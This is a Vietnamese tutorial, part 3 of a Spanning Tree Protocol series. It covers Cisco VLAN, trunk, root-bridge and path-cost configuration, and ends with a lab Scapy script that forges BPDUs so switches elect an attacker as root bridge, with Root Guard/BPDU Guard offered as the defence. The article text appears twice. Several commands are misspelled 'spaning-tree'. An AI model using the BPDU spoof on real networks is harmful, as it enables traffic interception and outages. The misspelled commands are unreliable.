Các bạn có thể xem lại 2 phần trước tại đây:
Giao thức Spanning Tree (STP - Spanning Tree Protocol)
Giao thức Spanning Tree (Phần 2)
Ở phần 3 này chúng ta sẽ tìm hiểu cách cấu hình giao thức STP trên thiết bị Cisco, cách tấn công giao thức này và cách làm thay đổi các thông số bầu chọn bên trong giao thức.
I. Cấu hình STP trên Switch Cisco (Per Vlan Spanning Tree)
Yêu cầu:
1. Cấu hình VLAN và Trunking trên các Switch
Như topology trên thì ta thấy các port của Switch nối với PC sẽ được cấu hình Mode Access còn các port nối với Switch khác sẽ cấu hình Mode Trunk.
[Mode Access và Trunk là gì các bạn có thể tham khảo thêm tại bài viết tại ĐÂY]
Trên SW1:
Trên SW2:
Trên SW3:
Trên SW4:
Trên SW5:
2. Cấu hình bầu chọn STP để SW1 là RB cho VLAN 10 và SW2 làm RB cho VLAN 20
Do có nhiều VLAN và yêu cầu cấu hình Root Bridge cho từng VLAN nên ta sẽ sử dụng cơ chế PVSP đã được giới thiệu ở phần 2.
Như phần lý thuyết cũng đã nói thì STP là một giao thức mặc định nên khi các Switch được khởi động nó sẽ gửi các gói BPDU cho nhau, và các gói này sẽ hoạt động trên VLAN 1, trong trường hợp yêu cầu trên nghĩa là ta sẽ tự chỉnh để hệ thống sẽ bầu chọn SW1 làm Root Bridge cho VLAN 10 còn SW2 làm Root Bridge cho VLAN 20.
Ban đầu có thể dùng câu lệnh sau để kiểm tra xem hệ thống đang bầu chọn cho Switch nào làm Root Bridge:
SW(config)#do show spanning-tree
Trên SW1:
Trên SW2:
Sau đó ta kiểm tra lại sẽ thấy từng VLAN đã có Root Bridge khác nhau:
Trong trường hợp nếu ta muốn cấu hình SW2 làm Root Bridge dự phòng cho VLAN 10 (nghĩa là ta chỉ định cho SW2 lên làm thay thế cho trường hợp nếu SW1 bị down lỗi) ta có thể dùng câu lệnh:
3. Cấu hình các Block port trên VLAN 10 sau: G0/1 trên SW2, G0/1 trên SW3 và G0/1 trên SW5
Sau khi đã cấu hình ở bước 2, ta sẽ tiến hành kiểm tra xem hệ thống sẽ bình chọn lại các port như thế nào bằng câu lệnh (trước khi kiểm tra bạn hãy thử tính toán như phần lý thuyết đã được giới thiệu trước đó xem hệ thống có bầu chọn như vậy không nha :">):
Như các thông số hiện giờ thì ta thấy các port bị Block đang là: G0/1 của SW3, G0/0 của SW4 và G0/1 của SW5.
Theo yêu cầu thì ta cần thay đổi port bị Block từ G0/0 trên SW4 thành G0/1 trên SW2. Có 2 cách mà ta có thể thực hiện để Switch bầu chọn lại thông số port Block:
Để dễ hình dung chúng ta tập trung vào 3 Switch chính liên quan đến port G0/1 trên SW2 là SW1, SW2 và SW4 (pathcost các port hiện tại đều là 4):
Theo như lý thuyết thì ta biết được lý do tại sao G0/0 của SW4 được chọn làm Block Port, ta xem xét các port khác:
Bây giờ ta cần chờ khoảng 30 giây để Block port chuyển sang trạng thái Forwarding, ta kiểm tra lại thông số:
Như bạn thấy hiện tại SW4 đã không còn Block Port, tuy nhiên việc thay đổi Pathcost trên SW2 không chỉ làm thay đổi trạng thái Port của SW4 mà còn ảnh hưởng đến SW3 nên G0/2 của SW2 cũng đã trở thành Block port thay cho G0/1 của SW3, vì vậy cũng theo quy tắc trên ta lại tiếp tục thay đổi Path Cost của G0/0 trên SW3 sao cho lớn hơn G0/0 của SW2:
Sau đó ta kiểm tra toàn bộ hệ thống sẽ thấy các Block port đúng theo yêu cầu:
Như vậy các port bị Block đã đúng theo yêu cầu, hãy thử làm
II. Giả lập tấn công STP bằng Scapy
Ở phần này nếu các bạn muốn tìm hiểu thêm và nâng cao thì các bạn chỉ cần chuẩn bị 1 máy Linux đóng vai trò Attacker và kết nối các Switch theo mô hình sau:
Kiểm tra tình trạng STP trên các Switch đang chạy bình thường như thế nào.
Sau đó trên Attacker tạo 1 tệp tin Python chứa đoạn code Scapy sau:
[Attacker sẽ kết nối với Switch qua cổng eth0, gói BPDU trên giả mạo thông số Priority và MAC Address nhỏ nhất]
Chạy tệp tin trên dưới quyền root và xem kết quả trên các Switch sẽ thấy chúng bầu chọn Attacker làm Root Bridge. Hãy thử bật các tính năng Root Guard/ BPDU Guard và tấn công lại xem kết quả như thế nào.
Mong rằng bài viết sẽ hữu ích cho mọi người. Chúc các bạn thành công :">
Giao thức Spanning Tree (STP - Spanning Tree Protocol)
Giao thức Spanning Tree (Phần 2)
Ở phần 3 này chúng ta sẽ tìm hiểu cách cấu hình giao thức STP trên thiết bị Cisco, cách tấn công giao thức này và cách làm thay đổi các thông số bầu chọn bên trong giao thức.
I. Cấu hình STP trên Switch Cisco (Per Vlan Spanning Tree)
Yêu cầu:
1. Cấu hình VLAN và Trunking trên các Switch
Như topology trên thì ta thấy các port của Switch nối với PC sẽ được cấu hình Mode Access còn các port nối với Switch khác sẽ cấu hình Mode Trunk.
[Mode Access và Trunk là gì các bạn có thể tham khảo thêm tại bài viết tại ĐÂY]
Trên SW1:
Code:
SW1(config)#vlan 10
SW1(config-vlan)#exit
SW1(config)#vlan 20
SW1(config-vlan)#exit
SW1(config)#interface GigabitEthernet0/3
SW1(config-if)#switchport mode access
SW1(config-if)#switchport access vlan 20
SW1(config-if)#exit
SW1(config)#interface range GigabitEthernet0/0-2
SW1(config-if)#switchport trunk allowed vlan 10,20
SW1(config-if)#switchport trunk encapsulation dot1q
SW1(config-if)#switchport mode trunk
SW1(config-if)#exit
Trên SW2:
Code:
SW2(config)#vlan 10
SW2(config-vlan)#exit
SW2(config)#vlan 20
SW2(config-vlan)#exit
SW2(config)#interface GigabitEthernet0/3
SW2(config-if)#switchport mode access
SW2(config-if)#switchport access vlan 20
SW2(config-if)#exit
SW2(config)#interface range GigabitEthernet0/0-2
SW2(config-if)#switchport trunk allowed vlan 10,20
SW2(config-if)#switchport trunk encapsulation dot1q
SW2(config-if)#switchport mode trunk
SW2(config-if)#exit
Trên SW3:
Code:
SW3(config)#vlan 10
SW3(config-vlan)#exit
SW3(config)#vlan 20
SW3(config-vlan)#exit
SW3(config)#interface GigabitEthernet0/2
SW3(config-if)#switchport mode access
SW3(config-if)#switchport access vlan 10
SW3(config-if)#exit
SW3(config)#interface range GigabitEthernet0/1-2
SW3(config-if)#switchport trunk allowed vlan 10,20
SW3(config-if)#switchport trunk encapsulation dot1q
SW3(config-if)#switchport mode trunk
SW3(config-if)#exit
Trên SW4:
Code:
SW4(config)#vlan 10
SW4(config-vlan)#exit
SW4(config)#vlan 20
SW4(config-vlan)#exit
SW4(config)#interface GigabitEthernet1/0
SW4(config-if)#switchport mode access
SW4(config-if)#switchport access vlan 20
SW4(config-if)#exit
SW4(config)#interface range GigabitEthernet0/0-3
SW4(config-if)#switchport trunk allowed vlan 10,20
SW4(config-if)#switchport trunk encapsulation dot1q
SW4(config-if)#switchport mode trunk
SW4(config-if)#exit
Trên SW5:
Code:
SW5(config)#vlan 10
SW5(config-vlan)#exit
SW5(config)#vlan 20
SW5(config-vlan)#exit
SW5(config)#interface GigabitEthernet0/2
SW5(config-if)#switchport mode access
SW5(config-if)#switchport access vlan 10
SW5(config-if)#exit
SW5(config)#interface range GigabitEthernet0/1-2
SW5(config-if)#switchport trunk allowed vlan 10,20
SW5(config-if)#switchport trunk encapsulation dot1q
SW5(config-if)#switchport mode trunk
SW5(config-if)#exit
2. Cấu hình bầu chọn STP để SW1 là RB cho VLAN 10 và SW2 làm RB cho VLAN 20
Do có nhiều VLAN và yêu cầu cấu hình Root Bridge cho từng VLAN nên ta sẽ sử dụng cơ chế PVSP đã được giới thiệu ở phần 2.
Như phần lý thuyết cũng đã nói thì STP là một giao thức mặc định nên khi các Switch được khởi động nó sẽ gửi các gói BPDU cho nhau, và các gói này sẽ hoạt động trên VLAN 1, trong trường hợp yêu cầu trên nghĩa là ta sẽ tự chỉnh để hệ thống sẽ bầu chọn SW1 làm Root Bridge cho VLAN 10 còn SW2 làm Root Bridge cho VLAN 20.
Ban đầu có thể dùng câu lệnh sau để kiểm tra xem hệ thống đang bầu chọn cho Switch nào làm Root Bridge:
SW(config)#do show spanning-tree
Trên SW1:
Code:
SW1(config)#spaning-tree vlan 10 root primary
Trên SW2:
Code:
SW2(config)#spaning-tree vlan 20 root primary
Sau đó ta kiểm tra lại sẽ thấy từng VLAN đã có Root Bridge khác nhau:
Code:
SW1(config)#do show spanning-tree vlan 10
SW2(config)#do show spanning-tree vlan 20
Trong trường hợp nếu ta muốn cấu hình SW2 làm Root Bridge dự phòng cho VLAN 10 (nghĩa là ta chỉ định cho SW2 lên làm thay thế cho trường hợp nếu SW1 bị down lỗi) ta có thể dùng câu lệnh:
Code:
SW2(config)#spanning-tree vlan 10 root secondary
Sau khi đã cấu hình ở bước 2, ta sẽ tiến hành kiểm tra xem hệ thống sẽ bình chọn lại các port như thế nào bằng câu lệnh (trước khi kiểm tra bạn hãy thử tính toán như phần lý thuyết đã được giới thiệu trước đó xem hệ thống có bầu chọn như vậy không nha :">):
Code:
SW#show spanning-tree vlan 10
Như các thông số hiện giờ thì ta thấy các port bị Block đang là: G0/1 của SW3, G0/0 của SW4 và G0/1 của SW5.
Theo yêu cầu thì ta cần thay đổi port bị Block từ G0/0 trên SW4 thành G0/1 trên SW2. Có 2 cách mà ta có thể thực hiện để Switch bầu chọn lại thông số port Block:
- Thay đổi BID của thiết bị
- Thay đổi Pathcost của cổng
Để dễ hình dung chúng ta tập trung vào 3 Switch chính liên quan đến port G0/1 trên SW2 là SW1, SW2 và SW4 (pathcost các port hiện tại đều là 4):
Theo như lý thuyết thì ta biết được lý do tại sao G0/0 của SW4 được chọn làm Block Port, ta xem xét các port khác:
- Root Port: G0/0 - SW2, G0/1 - SW4
- Designated Port: G0/0 và G0/2 - SW1, G0/1 của SW2
- Block Port: G0/0 - SW4
Code:
SW2(config)#interface G0/0
SW2(config-if)#spaning-tree vlan 10 cost 5
Như bạn thấy hiện tại SW4 đã không còn Block Port, tuy nhiên việc thay đổi Pathcost trên SW2 không chỉ làm thay đổi trạng thái Port của SW4 mà còn ảnh hưởng đến SW3 nên G0/2 của SW2 cũng đã trở thành Block port thay cho G0/1 của SW3, vì vậy cũng theo quy tắc trên ta lại tiếp tục thay đổi Path Cost của G0/0 trên SW3 sao cho lớn hơn G0/0 của SW2:
Code:
SW3(config)#interface G0/0
SW3(config-if)#spaning-tree vlan 10 cost 6
Như vậy các port bị Block đã đúng theo yêu cầu, hãy thử làm
II. Giả lập tấn công STP bằng Scapy
Ở phần này nếu các bạn muốn tìm hiểu thêm và nâng cao thì các bạn chỉ cần chuẩn bị 1 máy Linux đóng vai trò Attacker và kết nối các Switch theo mô hình sau:
Kiểm tra tình trạng STP trên các Switch đang chạy bình thường như thế nào.
Sau đó trên Attacker tạo 1 tệp tin Python chứa đoạn code Scapy sau:
Python:
from scapy.all import *
pkt = sniff(filter="ether dst 01:80:c2:00:00:00",count=1, iface="eth0")
pkt[0].src="00:00:00:00:00:01"
pkt[0].rootid=0
pkt[0].rootmac="00:00:00:00:00:01"
pkt[0].bridgeid=0
pkt[0].bridgemac="00:00:00:00:00:01"
pkt[0].show()
while 1:
sendp(pkt[0], loop=0, iface='eth0')
time.sleep(1)
Chạy tệp tin trên dưới quyền root và xem kết quả trên các Switch sẽ thấy chúng bầu chọn Attacker làm Root Bridge. Hãy thử bật các tính năng Root Guard/ BPDU Guard và tấn công lại xem kết quả như thế nào.
Mong rằng bài viết sẽ hữu ích cho mọi người. Chúc các bạn thành công :">
Attachments
Last edited: